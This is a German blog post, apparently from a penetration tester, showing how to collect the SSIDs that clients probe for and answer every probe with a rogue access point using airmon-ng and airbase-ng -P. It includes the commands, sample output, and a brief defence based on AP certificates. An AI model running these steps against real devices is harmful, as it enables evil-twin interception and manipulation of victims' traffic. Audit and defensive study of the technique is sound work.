Welche WLAN-SSIDs werden von Clients als potenziell vertrauenswürdig betrachtet und wie lässt sich das ausnutzen?

In einem Sicherheitsaudit kann es dazu kommen, dass gezielt WLAN-Clients mit einem Rogue AP angegriffen werden. Doch wie weiß man als Penetrationstester, der an (für den User) vertrauenswürdige SSIDs kommen möchte, wie diese lauten?

Um diese Frage zu beantworten, muss man zunächst verstehen, wie WLAN-fähige Geräte in ihrer Umgebung nach vorhandenen APs suchen. Es gibt zwei unterschiedliche Arten des Scannings:

  1. Per Broadcast – Jeder verfügbare AP soll sich mit seiner SSID melden
  2. Per direkter Suche nach einer bestimmten SSID

Die erste Möglichkeit ist, zumindest bei den Geräten, die ich bislang getestet habe, am weitesten verbreitet. Doch die zweite wird immer noch von diversen Clients verwendet. Sie fragen gezielt in der Umgebung nach, ob eine, ihnen bekannte SSID in der Nähe ist. Ebenso wird diese Art des Scannings auch benutzt, wenn man sich zu einem „versteckten“ WLAN verbinden möchte.

Der Penetrationstester muss sich somit also einfach nur mit seinem Laptop in das Café nebenan setzen und warten, bis die Mitarbeiter zur Mittagspause kommen, um zu schauen, nach welchen SSIDs gezielt gesucht wird.

Um dieses Szenario zu realisieren, sind die folgenden Schritte nötig:

Zunächst starten wir das zu benutzende Interface im Monitor-Modus:

root@kali:~# airmon-ng start wlan1

Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e
PID	Name
2419	NetworkManager
2613	wpa_supplicant
2882	dhclient
Process with PID 2882 (dhclient) is running on interface wlan0

Interface	Chipset		Driver

wlan0		Intel 3945ABG	iwl3945 - [phy0]
wlan1		Unknown 	rtl8192cu - [phy1]
				(monitor mode enabled on mon0)

Anschließend setzen wir einen WLAN-AP mit der SSID „pwned“ auf und behaupten zusätzlich zu jedem eingehenden, direkten Probe-Request der entsprechende AP mit der gesuchten SSID zu sein. Mit der Verbose-Option können wir auch sofort alle Anfragen auflisten

root@kali:~# airbase-ng -P -C 1 -e "pwned" -v mon0

Die Ausgabe könnte dann folgendermaßen aussehen:

20:07:02  Got directed probe request from A0:F4:50:15:9D:61 - "FreeSpot Hotel XY"
20:07:02  Got directed probe request from A0:F4:50:15:9D:61 - "XY-Seminar"
20:07:06  Got broadcast probe request from 64:A7:69:FE:07:88
20:07:06  Got broadcast probe request from 64:A7:69:FE:07:88
20:07:06  Got broadcast probe request from 64:A7:69:FE:07:88
20:07:06  Got broadcast probe request from 64:A7:69:FE:07:88
20:07:06  Got broadcast probe request from 64:A7:69:FE:07:88
20:07:12  Got directed probe request from DC:2B:61:61:EC:35 - "FRITZ!Box Fon WLAN 7270"
20:07:12  Got directed probe request from DC:2B:61:61:EC:35 - "FRITZ!Box Fon WLAN 7270"
20:07:12  Got directed probe request from DC:2B:61:61:EC:35 - "FRITZ!Box Fon WLAN 7270"
20:07:12  Got directed probe request from DC:2B:61:61:EC:35 - "FRITZ!Box Fon WLAN 7270"
20:07:13  Got directed probe request from A0:F4:50:15:9D:61 - "Firmen-WLAN"
20:07:13  Got directed probe request from A0:F4:50:15:9D:61 - "XY-Seminar"
20:07:13  Got broadcast probe request from A0:F4:50:15:9D:61
20:07:16  Got broadcast probe request from 64:A7:69:FE:07:88
20:07:16  Got broadcast probe request from 64:A7:69:FE:07:88
20:07:17  Got broadcast probe request from 64:A7:69:FE:07:88
20:07:24  Got directed probe request from A0:F4:50:15:9D:61 - "Firmen-WLAN"
20:07:24  Got directed probe request from A0:F4:50:15:9D:61 - "XY-Seminar"
20:07:24  Got broadcast probe request from A0:F4:50:15:9D:61
20:07:24  Got directed probe request from A0:F4:50:15:9D:61 - "XY-Seminar"

In diesem Ausschnitt sieht man recht gut, dass es viele Broadcast- aber auch einige direkte Anfragen gibt, die in diesem Fall natürlich weiterhelfen.

Das Besondere an der Option „-P“ ist, dass unser neuer AP nun jede direkte Anfrage positiv beantwortet und sich als fremder AP ausgibt.

Um das zu testen, kann man auf einem Linux-Gerät einfach mal gezielt nach einer nicht vorhandenen SSID suchen und wird feststellen, dass sie vorhanden zu sein scheint und auch die Anfragen beantwortet werden:

user@host:~$ sudo iwlist eth1 scan essid AmIpwned
eth1      Scan completed :
          Cell 01 - Address: 80:1F:02:87:4A:E3
                    Channel:2
                    Frequency:2.417 GHz (Channel 2)
                    Quality=69/70  Signal level=-41 dBm
                    Encryption key:off
                    ESSID:"AmIpwned"
                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s
                    Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s
                              36 Mb/s; 48 Mb/s; 54 Mb/s
                    Mode:Master
                    Extra:tsf=0000000000000000
                    Extra: Last beacon: 64ms ago
                    IE: Unknown: 0008616D6970776E6564
                    IE: Unknown: 010402040B16
                    IE: Unknown: 32080C1218243048606C
                    IE: Unknown: 030102
                    IE: Unknown: DD09001018020000000000
                    IE: Unknown: 030101

Wenn man nun die Ausgabe auf dem gefälschten AP beobachtet, sieht man die hereinkommenden Anfragen:

20:11:27  Got directed probe request from 00:1A:73:C7:C1:A4 - "AmIpwned"
20:11:27  Got directed probe request from 00:1A:73:C7:C1:A4 - "AmIpwned"
20:11:27  Got directed probe request from 00:1A:73:C7:C1:A4 - "AmIpwned"
20:11:27  Got directed probe request from 00:1A:73:C7:C1:A4 - "AmIpwned"
20:11:27  Got directed probe request from 00:1A:73:C7:C1:A4 - "AmIpwned"
20:11:27  Got directed probe request from 00:1A:73:C7:C1:A4 - "AmIpwned"
20:11:27  Got directed probe request from 00:1A:73:C7:C1:A4 - "AmIpwned"

Somit weiß der Penetrationstester nicht nur, nach welchen SSIDs gezielt gesucht wird, sondern er kann auch direkt jede beliebige Anfrage positiv beantworten, um dem Opfer vorzugaukeln, der korrekte AP zu sein und somit bei einer Verbindung des Clients jeglichen Netzwerkverkehr manipulieren. Wie man die restlichen Schritte für einen funktionierenden AP bewerkstelligt, habe ich in meinem Blogeintrag „WLAN Access Point unter Linux einrichten“ beschrieben.

Um sich gegen diese Art von Attacken zu schützen, ist es wichtig, dass sich gerade in Firmen die WLAN-APs immer mit einem Zertifikat ausweisen können, welches im Client als vertrauenswürdig betrachtet wird. Somit fällt im Regelfall ein solcher Angriff am Client auf.

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.